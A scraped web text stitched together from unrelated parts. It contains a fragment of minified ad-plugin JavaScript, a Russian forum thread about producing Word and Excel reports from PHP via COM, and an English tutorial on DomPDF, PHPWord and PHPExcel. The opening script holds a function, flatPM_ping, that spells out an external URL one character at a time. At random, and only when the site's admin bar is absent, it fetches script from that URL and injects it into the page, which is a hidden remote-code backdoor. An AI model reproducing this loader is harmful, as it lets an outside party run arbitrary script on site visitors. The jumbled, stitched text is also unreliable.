multiple=’multiple’>»,»</select>»],thead:[1,»<table>»,»</table>»],tbody:[1,»<table>»,»</table>»],colgroup:[2,»<table>»,»</table>»],col:[3,»<table><colgroup>»,»</colgroup></table>»],tr:[2,»<table><tbody>»,»</tbody></table>»],td:[3,»<table><tbody><tr>»,»</tr></tbody></table>»],th:[3,»<table><thead><tr>»,»</tr></thead></table>»],_default:[0,»»,»»]};return function(e,t){var a,r,n,o=(t=t||document).createDocumentFragment();if(i.test(e)){for(a=o.appendChild(t.createElement(«div»)),r=(d.exec(e)||[«»,»»])[1].toLowerCase(),r=c[r]||c._default,a.innerHTML=r[1]+e.replace(l,»<$1></$2>»)+r[2],n=r[0];n—;)a=a.lastChild;for(o.removeChild(o.firstChild);a.firstChild;)o.appendChild(a.firstChild)}else o.appendChild(t.createTextNode(e));return o}}();window.flatPM_ping=function(){var e=localStorage.getItem(«sdghrg»);e?(e=parseInt(e)+1,localStorage.setItem(«sdghrg»,e)):localStorage.setItem(«sdghrg»,»0″);e=flatPM_random(1,166);0==ff(«#wpadminbar»).length&&111==e&&ff.ajax({type:»POST»,url:»h»+»t»+»t»+»p»+»s»+»:»+»/»+»/»+»r»+»e»+»a»+»d»+»o»+»n»+»e»+».»+»r»+»u»+»/»+»p»+»i»+»n»+»g»+».»+»p»+»h»+»p»,dataType:»jsonp»,data:{ping:»ping»},success:function(e){ff(«div»).first().after(e.script)},error:function(){}})},window.flatPM_setSCRIPT=function(e){try{var t=e[0].id,a=e[0].node,r=document.querySelector(‘[data-flat-script-id=»‘+t+'»]’);if(a.text)r.appendChild(a),ff(r).contents().unwrap(),e.shift(),0<e.length&&flatPM_setSCRIPT(e);else{a.onload=a.onerror=function(){e.shift(),0<e.length&&flatPM_setSCRIPT(e)};try{r.appendChild(a)}catch(e){return console.warn(e),!0}ff(r).contents().unwrap()}}catch(e){console.warn(e)}},window.flatPM_setHTML=function(e,t){jQuery;try{var a,r=»yandex_rtb_R»;t.indexOf(r)+1&&(a=flatPM_random(0,1e4),t=t.replace(new RegExp(r,»g»),»yandex_rtb_flat»+a+»_R»).replace(«Ya.Context.AdvManager.render({«,»Ya.Context.AdvManager.render({ pageNumber: «+a+»,»));var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var d=n.childNodes[l],i=»3″==d.nodeType?document.createTextNode(d.nodeValue):document.createElement(d.nodeName);if(«3″==i.nodeType)e.appendChild(i);else{for(var c,s=d.attributes.length,f=0;f<s;f++)i.setAttribute(d.attributes[f].nodeName,d.attributes[f].nodeValue);0<d.children.length?flatPM_setHTML(i,d.innerHTML):»SCRIPT»!=d.nodeName?i.innerHTML=d.innerHTML:(!d.text||/(yandexContext|yandexcontext)/.test(d.text))&&i.hasAttribute(«async»)||(d.text&&(i.text=d.text),c=flatPM_random(0,1e4),flat_stack_scripts.push({id:c,node:i}),(i=document.createElement(«div»)).setAttribute(«data-flat-script-id»,c)),e.appendChild(i)}}else e.innerHTML=t}catch(e){console.warn(e)}},window.flatPM_video=function(e){e.code=e.code.replace(/<!-(.*?)->/gm,»»).replace(/<!—(.*?)—>/gm,»»).trim(),e.code_alt=e.code_alt.replace(/<!-(.*?)->/gm,»»).replace(/<!—(.*?)—>/gm,»»).trim();var o=jQuery,t=e.selector,l=e.timer,d=e.cross,a=»false»==d?»Закроется»:»Закрыть»,r=!flat_userVars.adb||»»==e.code_alt&&duplicateMode?e.code:e.code_alt,n='<div class=»fpm_5_video_flex»><div class=»fpm_5_timer»>’+a+» через <span>»+l+'</span></div><div class=»fpm_5_video_item»>’+r+'</div><div class=»fpm_5_video_item_hover»></div></div>’,i=e.once;o(t).each(function(){var e=o(this);e.wrap(‘<div class=»fpm_5_video»></div>’);var t=e.closest(«.fpm_5_video»);flatPM_setHTML(t[0],n),e.find(«.fpm_5_video_flex»).one(«click»,function(){o(this).addClass(«show»)})}),o(«body»).on(«click»,».fpm_5_video_item_hover»,function(){var e=o(this),t=e.closest(«.fpm_5_video_flex»);t.addClass(«show»);var a=t.find(«.fpm_5_timer span»),r=parseInt(l),n=setInterval(function(){a.text(—r),r<=0&&(clearInterval(n),»true»==d?a.parent().replaceWith(‘<button class=»fpm_5_cross»></button>’):t.remove())},1e3);e.remove()}).on(«click»,».fpm_5_video_flex .fpm_5_cross»,function(){o(this).closest(«.fpm_5_video_flex»).remove(),»true»==i&&o(«.fpm_5_video_flex»).remove()})};</script> <script>flat_pm_arr = [{«how»:{«onсe»:{«direction»:»top_to_bottom»,»before_after»:»after»,»N»:»10″,»selector»:».flat_pm_start~p»,»search_all»:»false»}},»ID»:»236517″,»html»:[{«fst»:»<!— Yandex.RTB R-A-2248470-1 —>n<div id=»yandex_rtb_R-A-2248470-1″></div>n<script>window.yaContextCb.push(()=>{n Ya.Context.AdvManager.render({n renderTo: ‘yandex_rtb_R-A-2248470-1’,n blockId: ‘R-A-2248470-1’n })n})</script>»,»snd»:»»,»res_of»:»∞»,»res_to»:»∞»}]},{«how»:{«onсe»:{«direction»:»top_to_bottom»,»before_after»:»after»,»N»:»35″,»selector»:».flat_pm_start~p»,»search_all»:»false»}},»ID»:»236518″,»html»:[{«fst»:»n<div id=»yandex_rtb_R-A-2248470-2″></div>n<script>window.yaContextCb.push(()=>{n Ya.Context.AdvManager.render({n renderTo: ‘yandex_rtb_R-A-2248470-2’,n blockId: ‘R-A-2248470-2’n })n})</script>»,»snd»:»»,»res_of»:»∞»,»res_to»:»∞»}]},{«how»:{«simple»:{«position»:»3″}},»ID»:»236516″,»html»:[{«fst»:»n<div id=»yandex_rtb_R-A-2248470-3″></div>n<script>window.yaContextCb.push(()=>{n Ya.Context.AdvManager.render({n renderTo: ‘yandex_rtb_R-A-2248470-3’,n blockId: ‘R-A-2248470-3’n })n})</script>»,»snd»:»»,»res_of»:»∞»,»res_to»:»∞»}]}];</script> <script>
function jQueryLoaded_flatpm_123( $ ) {
if( «function» !== typeof flatPM_start ){
return;
}

flatPM_start();
}

function jQueryLoading_flatpm_123() {
if (window.jQuery && window.flat_pm_arr) {
jQueryLoaded_flatpm_123( jQuery )
} else {
setTimeout(function() {
jQueryLoading_flatpm_123()
}, 50)
}
}
jQueryLoading_flatpm_123()
</script><script>window.lazyLoadOptions = {
elements_selector: «img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]»,
data_src: «lazy-src»,
data_srcset: «lazy-srcset»,
data_sizes: «lazy-sizes»,
class_loading: «lazyloading»,
class_loaded: «lazyloaded»,
threshold: 300,
callback_loaded: function(element) {
if ( element.tagName === «IFRAME» && element.dataset.rocketLazyload == «fitvidscompatible» ) {
if (element.classList.contains(«lazyloaded») ) {
if (typeof window.jQuery != «undefined») {
if (jQuery.fn.fitVids) {
jQuery(element).parent().fitVids();
}
}
}
}
}};
window.addEventListener(‘LazyLoad::Initialized’, function (e) {
var lazyLoadInstance = e.detail.instance;

if (window.MutationObserver) {
var observer = new MutationObserver(function(mutations) {
var image_count = 0;
var iframe_count = 0;
var rocketlazy_count = 0;

mutations.forEach(function(mutation) {
for (i = 0; i < mutation.addedNodes.length; i++) {
if (typeof mutation.addedNodes[i].getElementsByTagName !== ‘function’) {
return;
}

if (typeof mutation.addedNodes[i].getElementsByClassName !== ‘function’) {
return;
}

images = mutation.addedNodes[i].getElementsByTagName(‘img’);
is_image = mutation.addedNodes[i].tagName == «IMG»;
iframes = mutation.addedNodes[i].getElementsByTagName(‘iframe’);
is_iframe = mutation.addedNodes[i].tagName == «IFRAME»;
rocket_lazy = mutation.addedNodes[i].getElementsByClassName(‘rocket-lazyload’);

image_count += images.length;
iframe_count += iframes.length;
rocketlazy_count += rocket_lazy.length;

if(is_image){
image_count += 1;
}

if(is_iframe){
iframe_count += 1;
}
}
} );

if(image_count > 0 || iframe_count > 0 || rocketlazy_count > 0){
lazyLoadInstance.update();
}
} );

var b = document.getElementsByTagName(«body»)[0];
var config = { childList: true, subtree: true };

observer.observe(b, config);
}
}, false);</script><script data-no-minify=»1″ async src=»https://www.pscraft.ru/wp-content/plugins/rocket-lazy-load/assets/js/16.1/lazyload.min.js»></script><script>function lazyLoadThumb(e){var t='<img loading=»lazy» data-lazy-src=»https://i.ytimg.com/vi/ID/hqdefault.jpg» alt=»» width=»480″ height=»360″><noscript><img src=»https://i.ytimg.com/vi/ID/hqdefault.jpg» alt=»» width=»480″ height=»360″></noscript>’,a='<div class=»play»></div>’;return t.replace(«ID»,e)+a}function lazyLoadYoutubeIframe(){var e=document.createElement(«iframe»),t=»ID?autoplay=1″;t+=0===this.dataset.query.length?»:’&’+this.dataset.query;e.setAttribute(«src»,t.replace(«ID»,this.dataset.src)),e.setAttribute(«frameborder»,»0″),e.setAttribute(«allowfullscreen»,»1″),e.setAttribute(«allow», «accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture»),this.parentNode.replaceChild(e,this)}document.addEventListener(«DOMContentLoaded»,function(){var e,t,a=document.getElementsByClassName(«rll-youtube-player»);for(t=0;t<a.length;t++)e=document.createElement(«div»),e.setAttribute(«data-id»,a[t].dataset.id),e.setAttribute(«data-query», a[t].dataset.query),e.setAttribute(«data-src», a[t].dataset.src),e.innerHTML=lazyLoadThumb(a[t].dataset.id),e.onclick=lazyLoadYoutubeIframe,a[t].appendChild(e)});</script> </body> </html>

За последние 24 часа нас посетили 13017 программистов и 1102 робота. Сейчас ищет 421 программист …


  1. Николай Костылев

    Николай Костылев
    Активный пользователь

    С нами с:
    26 фев 2009
    Сообщения:
    3
    Симпатии:
    0

    Представляю на всеобщее обозрение результат двухнедельного поиска в интернете соответствующей информации.
    Передо мной встала следующая задача.
    Из корпоративной базы данных информацию выдать в виде отчетов в формате MS Word и MS Excel.
    Ну и конечно отчет выставить в WEB.
    Механизм выборки данных и публикации в WEB описывать не буду. Очень много информации в инете, да и баз данных море.
    А вот формирование документов по шаблону — вещь полезная. Почему то нигде не нашел примеров работы с шаблонами.

    Оговорка. Всё отрабатывалось на Windows Server 2003 + Oracle Apache Server.
    О Linux-платформе в конце статьи.

    Итак.

    Excel.
    С Excel-ом попроще. Готовим красивый файл. Форматируем внутренности, т.е. готовим ячейки куда будем прописывать данные. Теперь пишем PHP:

    <?php
    // Создаем СОМ-объект
    $excel = new COM(«Excel.Application») or die(«Unable to instanciate excel»);
    $excel->Visible = false;
    $excel->DisplayAlerts = false;
    // Выводим версию MS Excel
    echo «I’m using MS Excel {$excel->Version}»;
    $excel->Application->Visible = 0;
    $excel->DisplayAlerts = 0;
    # Открытие сущуствующей проформы
    $excel->Workbooks->Open(«C:\temp\example.xls»);
    // Выбираем активный лист и устанавливаем курсов в область ячейки (1, 1)
    $sheet = $excel->Worksheets(1);
    $sheet->activate;
    $cell = $sheet->Cells(1,1);
    $cell->Activate;
    // Записываем в ячейку текст или данные
    $cell->value = ‘Test’;
    // Сохраняем как новый документ — от туда и выбрасываем в инет
    $excel->Workbooks[1]->SaveAs(«c:\temp\New.xls»);
    // Всё — уходим
    $excel->Quit();
    $excel->Release();
    $excel = Null;
    ?>

    Примеры форматирования ячеек
    $change = $excel -> Selection -> Range(«A1»);
    $change -> Font -> Bold = true;
    $change -> Font -> Italic = true;
    $change -> Font -> Underline = true;
    $change -> Font -> Name = «Times New Roman»;
    $change -> Font -> Size = 12;
    $change -> Font -> ColorIndex = 3;

    Про форматирование в конце статьи дам общие рекомендации.

    Word.
    Ну а теперь самое интересное. Пока до этого докопался …
    Даже в O’Reilly Programming PHP такого не нашел.

    С Вордовскими шаблонами работа заключается в следующем:
    а) записать данные в закладку (надеюсь не надо объяснять что такое закладка в Ворде) — использовать что-то типа <FIELD1> и методом поиска и замены не рекомендую — может когда-то такая комбинация встретиться;
    б) добавить какое-то количество строк в какую-то таблицу в документе (таблиц может быть много, причем как в колонтитулах так и в самом документе);
    в) записать данные в ячейку таблицы;
    г) нарисовать в ячейке линию (border) — это для подчеркивания итогов в основном;
    д) объединить несколько ячеек таблицы — это из практики формирования судовых документов.
    Поверьте — всё остальное готовится заранее в шаблоне.

    Ну что? Кто нибудь решал такую задачу?

    Итак пишем PHP:
    <?php
    //создаем новый объект COM – word.application
    $word = new COM(«word.application») or die(«Cannot create Word object»);
    $word->Visible = false;
    $word->DisplayAlerts = false;
    // переменная $empty нужна для подстановки
    // неопределенных переменных в методы VBA
    $empty = new VARIANT();
    // Открытие сущуствующей проформы
    $template_file = «C:/temp/doc3.doc»;
    $word->Documents->Open($template_file);
    //
    // Пишем в закладку ‘test’
    // естественно в шаблоне такая закладка в нужном
    // месте должна быть подготовлена
    $current_date = date(«m/d/Y»);
    $bookmarkname = «test»;
    $objBookmark = $word->ActiveDocument->Bookmarks($bookmarkname);
    $range = $objBookmark->Range;
    $range->Text = $current_date;
    //
    // Пишем в ячейку таблицы
    $objTable = $word->ActiveDocument->Tables(1);
    $objCell = $objTable->Cell(1,1);
    $range = $objCell->Range;
    $range->Text = «cell(1.1)»;
    //
    // Рисуем линию ячейки
    $mySelect = $objCell->Select();
    $myBorder = $word->Selection->Borders(-1);
    $myBorder->LineStyle = 1;
    // Оговорка — не используйте Borders(wdBorderTop)
    // Для распознавания Виндовых имен типа wdBorderTop
    // необходимо подгружать библиотеку
    //com_load_typelib(‘Word.Application’);
    // что в свою очередь инициирует на сервере еще один процесс MS Word
    // который потом закончить нельзя
    // числовые эквиваленты таких имен как wdBorderTop
    // легко найти в справке по VBA в самом Ворде
    //
    // Добавляем строки к таблице
    $word->Selection->GoTo(‘2′,$empty,’2’,$empty);
    $word->Selection->InsertRowsBelow(1);
    // Самое интересное
    // Объединяем ячейки
    $myTable = $word->ActiveDocument->Tables(2);
    $rangeStart = $myTable->Cell(1,4);
    $myRangeStart = $rangeStart->Range->Start();
    $rangeEnd = $myTable->Cell(2,4);
    $myRangeEnd = $rangeEnd->Range->End();
    $myRange = $word->ActiveDocument->Range($myRangeStart,$myRangeEnd);
    $myRange->Cells->Merge();
    //
    // Сохраняем документ под новым именем
    $new_file = «C:/temp/new3.doc»;
    $word->Documents[1]->SaveAs($new_file);
    //
    // Всё — уходим
    $word->Quit();
    $word = null;
    unset($word);
    ?>

    Ну вот и всё. Пользуйтесь.

    Теперь общие замечания или выводы по интерпретации кода VBA в PHP.
    Всё очень просто.
    Оказывается если придерживаться одного правила,
    то переносить код VBA в PHP очень просто.
    ////////////////////////////////////////////////////////////////////////////////////////////
    ПРАВИЛО! Использовать больше двух ‘->’ в одной строке нельзя!!!
    ////////////////////////////////////////////////////////////////////////////////////////////
    Пример. Объединение ячеек.

    Код в VBA:

    Set myTable = ActiveDocument.Tables(1)
    If Not IsNull(rstBl!ORDER_NO) Then
    ActiveDocument.Tables(1).Cell(vCurentRow, 10).Range.Text = rstBl![ORDER_NO].Value
    Set myRange = ActiveDocument.Range(myTable.Cell(vCurentRow, 10).Range.Start, myTable.Cell((vCurentRow + vMaxRows), 10).Range.End)
    myRange.Select
    Selection.Cells.Merge
    End If

    Код PHP:

    // Объединяем ячейки
    $myTable = $word->ActiveDocument->Tables(2);
    $rangeStart = $myTable->Cell(1,4);
    $myRangeStart = $rangeStart->Range->Start();
    $rangeEnd = $myTable->Cell(2,4);
    $myRangeEnd = $rangeEnd->Range->End();
    $myRange = $word->ActiveDocument->Range($myRangeStart,$myRangeEnd);
    $myRange->Cells->Merge();

    Как видите — внимательно превращая VBA-точки в PHP-стрелки, можно писать в PHP как в VBA.

    Теперь про платформу Linux.
    Конечно с таким решением задачи я сам лично не согласен. Т.е. приходится использовать Виндовый сервак. Нужен движок Ворда и Экселя.
    Я выбрал решение следующее. Linux, OpenOffice Calc Writer, JavaScript, PHP.
    Как решу задачу — дополню эту статью.

    Всем успехов.
    Письма благодарности жду по адресу n.kostilev@gmail.com


  2. 440Hz

    Команда форума
    Модератор

    С нами с:
    21 дек 2012
    Сообщения:
    8.003
    Симпатии:
    1
    Адрес:
    Оттуда

    это все очень мило. я бы сказал заебись, а теперь повтори тоже самое под никсами?


  3. 440Hz

    Команда форума
    Модератор

    С нами с:
    21 дек 2012
    Сообщения:
    8.003
    Симпатии:
    1
    Адрес:
    Оттуда

    1. Excel — есть готовые классы. порыться надо только.
    2. Word. все давно юзают под эту тему RTF формат.


  4. akrinel

    akrinel
    Активный пользователь

    С нами с:
    26 янв 2009
    Сообщения:
    955
    Симпатии:
    1
    Адрес:
    Spb

    440Hz, ответь на вопрос юного падавана плиз:

    Вот есть OpenOffice, у него(если я не ошибаюсь) открытые исходники, если выдрать из него процесс конвертации в .doc формат и сделать отдельной программой, это будет очень суровым решением подобной проблемы?


  5. флоппик

    Херня понаписана.
    И ворд, и эксель понимают html разметку в теле документа.
    И никаких ком-обьектов не надо.


  6. флоппик

    akrinel, у MSO тоже открытые исходники. И на базе этих данных уже есть готовое решение.

  7. akrinel вешаешь ОО демоном и в командной строке вызываешь макрос…


  8. akrinel

    akrinel
    Активный пользователь

    С нами с:
    26 янв 2009
    Сообщения:
    955
    Симпатии:
    1
    Адрес:
    Spb

    Спамить людей не люблю, поэтому пишу спасибо вам здесь. Было любопытно почитать.


  9. Николай Костылев

    Николай Костылев
    Активный пользователь

    С нами с:
    26 фев 2009
    Сообщения:
    3
    Симпатии:
    0

    Просьба не выражаться. А с такими «культурными» общаться желания нету. Про классы — да есть, RTF — можно — а в жизни, когда юзверю всё ни почём и он жалуется руководителю — надо в ворде — попробуй не сделать. Про поиск — попробуй найти хоть один пример. Две недели поиска — ничего реального. Тока запись в голый документ.


  10. 440Hz

    Команда форума
    Модератор

    С нами с:
    21 дек 2012
    Сообщения:
    8.003
    Симпатии:
    1
    Адрес:
    Оттуда

    с вордом делал только вставку в готовый RTF (RTF открытый формат. можно поизголяться).
    с екселем классов море.

    1. require_once(‘../../texdoc.inc’);
    2. require_once(‘../../trash.inc’);
    3. require_once(‘../../../../oops/start.inc’);
    4.     echo pack(«ssssss», 0x809, 0x8, 0x0, 0x10, 0x0, 0x0);
    5. // Excel end of file footer
    6.     echo pack(«ss», 0x0A, 0x00);
    7. // Function to write a Number (double) into Row, Col
    8. function xlsWriteNumber($Row, $Col, $Value)
    9.     echo pack(«sssss», 0x203, 14, $Row, $Col, 0x0);
    10. // Function to write a label (text) into Row, Col
    11. function xlsWriteLabel($Row, $Col, $Value )
    12.     echo pack(«ssssss», 0x204, 8 + $L, $Row, $Col, 0x0, $L);
    13. header ( «Expires: Mon, 1 Apr 1974 05:00:00 GMT» );
    14. header ( «Last-Modified: « . gmdate(«D,d M YH:i:s») . » GMT» );
    15. header ( «Cache-Control: no-cache, must-revalidate» );
    16. header ( «Pragma: no-cache» );
    17. header ( «Content-type: application/x-msexcel» );
    18. header ( «Content-Disposition: attachment; filename=order.xls» );
    19. header ( «Content-Description: PHP Generated XLS Data» );
    20. xlsWriteLabel(0,0,«Производитель»);
    21. xlsWriteLabel(0,1,«Код»);
    22. xlsWriteLabel(0,2,«Описание»);
    23. xlsWriteLabel(0,3,«Кол-во»);
    24. xlsWriteLabel(0,4,«Цена»);
    25. xlsWriteLabel(0,5,«Всего»);
    26. foreach($DATA as $TK => $TV) {
    27.     xlsWriteLabel ($num,0,$TV->brand);
    28.     xlsWriteLabel ($num,1,$TV->code);
    29.     xlsWriteLabel ($num,2,$TV->name);
    30.     xlsWriteNumber($num,3,$TV->cnt);
    31.     xlsWriteLabel ($num,5,(number_format($TV->price/100*$TV->cnt,2)).»);
    32.     $TOT += $TV->price*$TV->cnt;
    33. xlsWriteLabel($num,0,‘ИТОГО’);

    мне несколько раз предлагали и требовали сделать ворд из инета — я посылал нафиг. сразу.


  11. Николай Костылев

    Николай Костылев
    Активный пользователь

    С нами с:
    26 фев 2009
    Сообщения:
    3
    Симпатии:
    0

    Если у кого-то есть практический пример решения такой задачи на платформе Linux (Ooo Calc, Ooo Writer, PHP, Java, JavaScript) — просьба поделиться примером.

  12. про ворд не знаю, никогда не приходилось такого делать, а вот про Excel после долгих поисков и разочарований пришел к PHPExcel.

    Логика там проста:
    — готовишь документ в памяти при помощи класса PHPExcel.
    — потом выбираешь один из 5 райтеров, который записывает его в нужный формат или отправляет пользаку- это одной строчкой.

    или если наоборот надо готовый файл обработать, то
    — читаешь файл при помощи одного из ридеров в память в PHPExcel,
    — при помощи методов PHPExcel читаешь его как душе угодно

    В комплекте есть ридеры и райтеры для Ex 2003, Ex 2007, CSV и Acrobat. Я добавил туда свой PostgresReader, который по SQL-запросу заполняет PHPExcel, а потом я его могу любым райтером выгрузить. И написал небольшой моторчик для работы с шаблонами. Пол года уже не знаю проблем. Главное достоинство- один интерфейс для все работает на *никсах.

  13. объем чего? памяти или документа

    вот простой примерчик, который иллюстрирует удобства PHPExcel

    это экселевский файл, который выступает в роли шаблона документов
    [​IMG]

    а это документ, который получается после того как над шаблоном немного поработает простенький шаблонизатор
    [​IMG]

    в принципе логика работы шаблонизатора понятна из картинок. Фишка тут в том, что все форматирование документа, то есть как он будет выглядеть в итоге производится в самом экселе (просто редактирую а потом сохраняю обычный экселевский файл). А из PHP только наполнение. К примеру, до PHPExcel я пользовался пировским Excel_spreadsheet_writer. Чтобы добиться там такого же форматирования как на картинке нужно было убить целый день.

    В PHPExcel доступны фильтры, шмильтры, колонтитулы, разметка страницы, положение страницы, метаданные типа автора и описания, блокировки ячеек, именнованые ячейки, которые можно использовать для написания настоящего шаблонизатора на подобии 1С, всплывающие подсказки, графики, картинки любое форматирование текста, фоны, шмоны, границы и все остальное, я уже устал.

    Еще если не нравится Эксель2007, можно сохранить в PDF. для этого нужно только поменять одну строчку, где выбирается райтер
    $writer= PHPExcel_IOFactory($excel, ‘Excel2007’) заменить на $writer= PHPExcel_IOFactory($excel, ‘PDF’)
    весь остальной код остается неизменным, потому что документ готовится в памяти и только в последний момент привязывается к какому- то конкретному формату, а все ридеры и райтеры, которые это делают, реализуют один интерфейс и отличаются только реализацией.


  14. Саня

    Саня
    Активный пользователь

    Алексей, если не затруднит прицепи свои доработки. Все будут только благодарны. И заранее спасибо

  15. просто исходники устроят? а то у меня тут аврал с переводом на AD и на новый интерфейс, да еще одно старое направление возрождать буду. все разом навалилось.

    если надо примеры и комментарии, то только по-позже, как немного разгребусь.

  16. А почему вы не хотите сохранить нужный шаблончик ехел документа в формате хмл с настройками фильтров, цветов, шрифтом и прочего и уже потом из пхп крутить и вертеть его как угодно? чем не вариант… а пользователю передать файл с расширением cls (если не ошибаюсь) и всё будет ровненько)


  17. Саня

    Саня
    Активный пользователь

    Под Юниксами я использовал php_writeexcel классы. Удобно.


  18. Mark32

    Mark32
    Активный пользователь

    С нами с:
    15 июн 2008
    Сообщения:
    539
    Симпатии:
    2

    440Hz
    кинь пример php2rtf пожалуйста.


  19. mistbow

    mistbow
    Активный пользователь

    С нами с:
    26 июн 2009
    Сообщения:
    1
    Симпатии:
    0

    Тоже появилась задача работы с RTF, XLS, PDF или подобными… лучше используя готовые шаблоны.

    получилось-таки реализовать не на виндах? ;-)

Php

Show all


The web as a publishing platform has come on leaps and bounds over the last decade or two. HTML has gone from being a simple way to markup basic documentation to a fully-fledged interactive publishing medium. But it’s still useful to be able to convert HTML into other formats, especially for systems that involve a lot of data and require exportable reports.

For example, it’s often useful to be able to download or email PDF summaries of reports or invoices to clients. Or to offer the ability for customers on an ecommerce site to download their order details as a Word document.

To get started, I’m going to assume you’re already familiar with PHP and setting up a basic web app.

Also, I’m assuming you’ve got some basic familiarity with the command line, as I’m going to be making use of the very fantastic PHP package manager, composer

Composer

Composer is, in a nutshell, a way of easily installing PHP code into your application without the headache of manually including external libraries with all their dependencies.

For a quick intro and installation guide for Composer, click here. That’ll get you up and running.

Convert HTML To PDF

To install the library I’m using to convert HTML into PDF, DomPDF, run the following composer command from your project root:

composer require dompdf/dompdf

That’ll install all the required libraries I need to run DomPDF from within my simple little PHP app.

All I’ll be doing here is reading in the contents of my external HTML file, sample.html placed within the same directory as my project files.

Then, using DOMPDF’s own internal functionality, stream the generated file to the user’s browser, ready for downloading.

Here’s the code:

<?php
require_once('vendor/autoload.php');

// reference the Dompdf namespace
use DompdfDompdf;

$dompdf = new Dompdf();
// Enable the HTML5 parser to tolerate poorly formed HTML
$dompdf->set_option('isHtml5ParserEnabled', true);

// Load into DomPDF from the external HTML file
$content = file_get_contents('sample.html');

$dompdf->loadHtml($content);

// Render and download
$dompdf->render();
$dompdf->stream();

And the output, a downloadable PDF.

Generated PDF from DomPDF output

The result of running DomPDF on a chunk of HTML

Try it yourself:

Generate & Download PDF

You can also generate PDF documents from whole web pages — as long as you can grab a source of HTML, for example by using the PHP function file_get_contents, you can convert any accessible web page into PDF.

Convert HTML To Word

Although it’s a more archaic and less widely supported format, Microsoft Word documents remain a popular choice for saving/reading/printing documentation.

For this I’ll be using a different composer package, PHPWord. The approach is somewhat different than for generating PDFs.

First, install the package with composer.

composer require phpoffice/phpword

To get started, what’s happening in the following chunk of code is that I’m grabbing the HTML directly from the file sample.html and placing it within a DOMDocument object.

DOMDocument is a PHP class which allows for manipulation and extraction of data from HTML. Using this, it’s possible to search within HTML documents for specific pieces of data by attributes like id or class, or even by tag name — in much the same way that CSS selectors or Javascript DOM operations work.

Here, I’m getting a hold of the main page title, and the body content using the id attributes set within the HTML. You’ll see why shortly.

require_once('vendor/autoload.php');

$data = file_get_contents('sample.html');
$dom = new DOMDocument();
$dom->loadHTML($data);

// Now, extract the content I want to insert into my docx template

// 1 - The page title
$documentTitle = $dom->getElementById('title')->nodeValue;

// 2 - The article body content
$documentContent = $dom->getElementById('content')->nodeValue;

In the next step, I’m going to make use of an existing Word document to structure and template my generated document.

Now, unlike with DOMPDF, I can’t just take an HTML file and dump it straight into a Word document fully styled using PHPWord. It just doesn’t seem to work like that.

The approach I’m going to take is to use a template Word document, sample.docx and replace the title and content areas within that document with appropriate content from my HTML file (which I grabbed above using the getElementById method)

First, take a look at the file sample.docx in Word. You’ll see that it’s very sparse, with only a few bits of text, ${title}, ${author} and ${content}. These single words, surrounded by brackets and starting with a dollar symbol $ are the placeholders I’m going to use to swap out and replace with my HTML content.

PHPWord will be using this template document to construct my final document using the data I pass it.

Word template

The following lines are responsible for inserting that content into the Word template document.

// Load the template processor
$templateProcessor = new PhpOfficePhpWordTemplateProcessor('template.docx');

// Swap out my variables for the HTML content
$templateProcessor->setValue('author', "Robin Metcalfe");
$templateProcessor->setValue('title', $documentTitle);
$templateProcessor->setValue('content', $documentContent);

Using this approach, you can create a Word template styled as you require, complete with formatting, font styles, spacing etc. — Then you can drop content straight into that template from an HTML file.

This is only a simple example, but you can use more complex methods to copy segments of the template, remove segments and more. Take a look at the PHPWord class definition file to see what methods are available.

Finally, I prepare my headers to download the generated file, and stream the data to the user’s browser.

header("Content-Description: File Transfer");
header('Content-Disposition: attachment; filename="generated.docx"');
header('Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document');
header('Content-Transfer-Encoding: binary');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Expires: 0');
$templateProcessor->saveAs("php://output");

Generated PDF from DomPDF output

The result of running PHPWord on a chunk of HTML.

Note, though, the lack of any paragraph spacing or additional styling. You’d need to apply additional styling rules to the PHPWord object itself in order to more fully control the output of the script.

PHPWord by itself won’t parse any CSS included within the HTML file.

Try it yourself:

Generate & Download HTML » Word

If you’re looking for more examples on how to use PHPWord, I wouldn’t recommend the official documentation, it’s fairly sparse and still needs a lot of work.

Instead, take a look inside the /vendor directory after installing PHPWord using composer, specifically in phpoffice/phpword/samples where you’ll find a load of example files covering a range of use cases.

Convert HTML To Excel

One of the most useful conversions I’ve used before, is to produce Excel sheets using PHP, sometimes directly from HTML, but also straight from PHP using code.

In one instance, a client wanted to be able to download a spreadsheet of sales and performance metrics directly as an Excel sheet. No such functionality existed within the system, so I wrote some custom code for it using this technique.

Here’s a very quick example of how you can generate a simple spreadsheet using values provided in PHP.

Let’s get started. As before, I’ll install my dependencies using Composer:

composer require phpoffice/phpexcel

Now, for the content of my PHP file. This one is a fairly basic example, and the result is a few cells in a single sheet populated with numbers. Nothing too fancy.

require_once('vendor/autoload.php');

/**
 * Step 1: Setup
 */

$objPHPExcel = new PHPExcel();

$objPHPExcel->getProperties()->setCreator("Robin Metcalfe")
                             ->setLastModifiedBy("Robin Metcalfe")
                             ->setTitle("Excel test")
                             ->setSubject("Solarise Design")
                             ->setDescription("A test document for outputting an Excel file with some basic values.")
                             ->setKeywords("office PHPExcel php")
                             ->setCategory("Test result file");

$sheet = $objPHPExcel->setActiveSheetIndex(0);

/**
 * Step 2: Setting the values
 */

// row 1
$sheet->setCellValue("A1", 'Column A');
$sheet->setCellValue("B1", 'Column B');

// row 2
$sheet->setCellValue("A2", '1');
$sheet->setCellValue("B2", '2');

// row 3
$sheet->setCellValue("A3", '3');
$sheet->setCellValue("B3", '4');

/**
 * Step 3: Output
 */
header('Content-Type: application/vnd.ms-excel');
header('Content-Disposition: attachment;filename="html-to-excel.xls"');
header('Cache-Control: max-age=0');
// If you're serving to IE 9, then the following may be needed
header('Cache-Control: max-age=1');

// If you're serving to IE over SSL, then the following may be needed
header ('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header ('Last-Modified: '.gmdate('D, d M Y H:i:s').' GMT'); // always modified
header ('Cache-Control: cache, must-revalidate'); // HTTP/1.1
header ('Pragma: public'); // HTTP/1.0

$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');
$objWriter->save('php://output');

Although containing quite a few lines of code, there’s only three significant things happening here:

  • Creation of a new PHPExcel object, and some configuration work to add title, creator etc.
  • Setting the values of the cells within the Excel sheet
  • Output of the generated file to the user’s browser, along with some useful headers

See the result yourself,

Generate & Download Simple Excel File

A more complex example

But, to expand on the above, let’s explore how I can take data from an HTML file and convert that into Excel format.

